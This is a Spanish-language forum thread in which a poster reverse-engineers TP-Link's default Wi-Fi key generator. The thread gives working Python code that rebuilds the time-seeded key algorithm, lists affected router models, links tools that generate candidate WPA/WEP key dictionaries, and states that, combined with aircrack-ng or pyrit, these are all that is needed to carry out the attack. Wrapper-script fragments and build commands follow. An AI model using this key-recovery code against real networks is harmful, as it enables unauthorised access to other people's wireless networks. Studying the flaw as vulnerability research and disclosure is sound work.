chars = "2345678923456789ABCDEFGHJKLMNPQRSTUVW***"
def gen(seed, length): #length=10 for WPA/WPA2, length=13 for WEP
key = ""
for i in range(length):
seed = (seed)*0x343FD + 0x269EC3
key += chars[((seed >> 0x10) & 0x7FFF) % 0x28]
return key
TL-W8151N (V1, V3)
TL-WA730RE (V1, V2*)
TL-WA830RE (V1, V2*)
TL-WDR3500
TL-WDR3600
TL-WDR4300
TL-WR720N
TL-WR740N (V1, V2, V3, V4)
TL-WR741ND (V1, V2, V3*,V4)
TL-WR841N (V1*,V5, V7, V8)
TL-WR841ND (V3, V5, V7, V8*)
TL-WR842ND
TL-WR940N (V1, V2)
TL-WR941ND (V2, V3, V4, V5)
TL-WR1043N
TL-WR1043ND
TD-VG3511 (V1*)
TD-VG3631
TD-W8901N
TD-W8950ND
TD-W8951NB (V3*,V4, V5)
TD-W8951ND (V1, V3, V4, V5)
TD-W8960N (V1, V3, V4)
TD-W8961NB (V1, V2, V3*)
TD-W8961ND
TD-W8968
TD-W8970
*Posiblemente vulnerable. No he podido comprobarlo aún.
También me mosquee mucho con respecto a cómo se generaban los primeros 4 dígitos en hexadecimal de la clave, lo mismo me volví paranoico, o lo mismo no es sano desensamblar a las 5 de la mañana.Definitivamente, no es sano. Se me pasó una cosa muy importante por alto y no me la perdonaré jamás. Esa cosa que me mosqueaba, era que la seed es un número que crece linealmente en función del tiempo del ordenador, obtenido a través de un KERNEL32.GetSystemTimeAsFileTime. Es decir, la seed NO es aleatoria, sino que es un valor fijo que aumenta en 1 cada segundo. El código en Python para generar una seed ahora mismo es:
import datetime
def genSeed(t1):
dt = t1 - datetime.datetime(1601, 1, 1, 0, 0, 0)
t = dt.days*864000000000 + dt.seconds*10000000 + dt.microseconds*10
tA = (t/2**32 + 0xFE624E21)
tB = (t%2**32 + 0x2AC18000) % (1<<32)
if tA >= (1<<32):
tA += 1
tA %= 1<<32
r = (tA % 0x989680) * (2**32)
r = ((r + tB) / 0x989680) % (2**31)
return r
print genSeed(datetime.datetime.utcnow())
genSeed(datetime.datetime(2012, 1, 1, 0, 0, 0)) #0x4EFFA3AD
genSeed(datetime.datetime(2013, 1, 1, 0, 0, 0)) #0x50E22700
Aquí están los dos programas que prometí. No soy muy original con los nombres, pero funcionan bien: TPLink-GenSeeds: http://www.mediafire.com/download.php?44l9629qq1dx2l8 (http://www.mediafire.com/download.php?44l9629qq1dx2l8) Este programa calcula el intervalo de seeds donde hay que buscar a partir de un intervalo de tiempo, que se puede indicar con dos fechas, o solo con una fecha y los días alrededor de esta. Como sería horrible hacer esto por terminal le he añadido una GUI rapida, para Windows y Linux (aunque se ve deforme en algunas distros). Para Windows traigo un .exe y para Linux basta con un: python TPLink-GenSeeds-Linux.pyw Si tenéis problemas, probablemente necesitéis ejecutar: sudo apt-get install python-wxgtk2.8 TPLink-GenKeys: http://www.mediafire.com/download.php?28z2fvdgpf22s68 (http://www.mediafire.com/download.php?28z2fvdgpf22s68) Seleccionáis que tipo de claves queréis generar (si, sé que a estas alturas a nadie le interesa WEP, pero no me costaba nada). Indicáis el rango de las seeds (calculado con el programa de antes), os saldrá información sobre la lista y si continuáis, tendréis dicha lista en "./output.txt". Con estos dos programas y algún programa para Auditar handshakes como aircrack-ng o pyrit (si teneis una GPU compatible), tenéis todo lo necesario para llevar el ataque a la práctica. Es engorroso lo sé, pero me voy a poner desde ya manos a la obra en un todo-en-uno con una bonita GUI que reduzca todo a un par de clicks. | (http://img94.imageshack.us/img94/5424/capturamc.png) |
TD-W340G
TD-W300KIT
TD-W8101G
TD-W8960N
TL-WR2543ND
Esta noche intentare sacar tiempo para ver como funciona esto y si va bien lo podemos poner en las news para darle un poco de difusion al asunto.Estupendo! ;D
¿ posibildad de algo para linux ?No he entendido muy bien la pregunta. Pero sí, he incluido una versión para Linux y puedes incluirlo donde quieras, que ocupa bastante poco (si quitas los archivos .exe, .dll, y .lib de Windows). Lo mismo te digo para el programa del otro hilo (https://foro.seguridadwireless.net/aplicaciones-y-diccionarios-linux/diccionario-claves-wpa2-de-linksys-y-d-link-vulnerabilidad-purenetworks/).
podria meterlo en la live.
print "Information:"
for i in range(1,len(sys.argv)-1,2):
if sys.argv[i] == "--bssid":
found = False
f = open("data.txt","rb")
if platform.system() == "Windows":
print " [*] Executing: \"TPLink-GenKeys2.exe "+str(seedA)+" "+str(seedB)+" --reverse\""
print " [!] Please be patient..."
os.popen("TPLink-GenKeys2.exe "+str(seedA)+" "+str(seedB)+" --reverse")
else:
print " [*] Executing: \"./TPLink-GenKeys2 "+str(seedA)+" "+str(seedB)+" --reverse\""
print " [!] Please be patient..."
os.popen("./TPLink-GenKeys2 "+str(seedA)+" "+str(seedB)+" --reverse")
#!/bin/sh
echo "[1;34m
_____________________ ____ ___ _______ ____ __
\__ ___/\______ \ | | | |\ \ | |/ _|
| | | ___/ ______ | | | |/ | \| \
| | | | /_____/ | |___| / | \ | \
|____| |____| |_______/\___\____|___ /____|___\[1;32m_genkeys"
echo "[0m"
echo "Usage:TPLink-GenKeysFinal.py [options...]"
echo "By: alexaltea123@gmail.com | functionmixer.blogspot.com"
echo "Options:"
echo ""
echo " --continue Do not display the \"Continue?\" message.\n"
echo " --bssid XX:XX:XX Use the release date of the router as starting date OR"
echo " --start DD/MM/YYYY use a custom starting date OR"
echo " left it blank to use the default date (01/01/2010).\n"
echo " --end DD/MM/YYYY Use a custom ending date OR"
echo " left it blank to use the current"
echo " date (%02d/%02d/%02d). % "
echo " (timeB.day,timeB.month,timeB.year)"
echo ""
echo "Examples:"
echo "python ./TPLink-GenKeysFinal.py --bssid 64:70:02 --end 13/02/2013"
echo "python ./TPLink-GenKeysFinal.py --start 24/11/2011 --end 13/02/2013"
g++ -Wall -o TPLink-GenKeys2 TPLink-GenKeys2.cpp
;)
Por cierto, no leí eso del error. Se puede solucionar compilando otra vez el ejecutable:Código: [Seleccionar]g++ -Wall -o TPLink-GenKeys2 TPLink-GenKeys2.cpp
;)
pues yo que se, pero acabo de generar el diccionario entero 1-1-2010 a ahora agosto 2013 en 10 segundos
y es de 1.261.848.995 bytes...